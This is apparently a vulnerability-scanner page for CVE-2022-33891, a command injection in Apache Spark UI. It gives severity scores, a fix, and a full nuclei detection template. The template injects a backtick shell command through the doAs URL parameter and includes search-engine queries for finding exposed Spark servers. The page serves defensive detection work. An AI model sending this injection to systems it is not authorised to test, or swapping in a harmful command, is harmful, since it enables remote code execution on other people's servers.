Apache Spark UI - Remote Command Injection

Exploited in the wild. Listed by CISA on 2023-03-07; known to be used by ransomware.

highseverity

8.8CVSS score

93.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow impersonation by providing an arbitrary user name. An attacker can potentially reach a permission check function that will ultimately build a Unix shell command based on input and execute it, resulting in arbitrary shell command execution. Affected versions are 3.0.3 and earlier, 3.1.1 to 3.1.2, and 3.2.0 to 3.2.1.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.

Fix

Apply the latest security patches or updates provided by Apache Spark to fix the remote command injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?doAs=`{{url_encode("{{command}}")}}`
Positive when: contains "19833-2202-EVC"

Run it with nuclei: nuclei -id CVE-2022-33891 -u <target>

The full check

id: CVE-2022-33891

info:
  name: Apache Spark UI - Remote Command Injection
  author: princechaddha
  severity: high
  description: |
    Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow impersonation by providing an arbitrary user name. An attacker can potentially reach a permission check function that will ultimately build a Unix shell command based on input and execute it, resulting in arbitrary shell command execution. Affected versions are 3.0.3 and earlier, 3.1.1 to 3.1.2, and 3.2.0 to 3.2.1.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    Apply the latest security patches or updates provided by Apache Spark to fix the remote command injection vulnerability.
  reference:
    - https://github.com/W01fh4cker/cve-2022-33891
    - https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc
    - http://packetstormsecurity.com/files/168309/Apache-Spark-Unauthenticated-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-33891
    - http://www.openwall.com/lists/oss-security/2023/05/02/1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-33891
    cwe-id: CWE-78
    epss-score: 0.93244
    epss-percentile: 0.99836
    cpe: cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: spark
    shodan-query:
      - title:"Spark Master at"
      - http.html:"/apps/imt/html/"
      - http.title:"spark master at"
    fofa-query:
      - body="/apps/imt/html/"
      - title="spark master at"
    google-query: intitle:"spark master at"
  tags: cve2022,cve,apache,spark,kev,packetstorm,vkev,vuln
variables:
  command: "echo CVE-2022-33891 | rev"

http:
  - method: GET
    path:
      - '{{BaseURL}}/?doAs=`{{url_encode("{{command}}")}}`'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "19833-2202-EVC"

References

Use this check only on systems you are authorised to test. Where the data comes from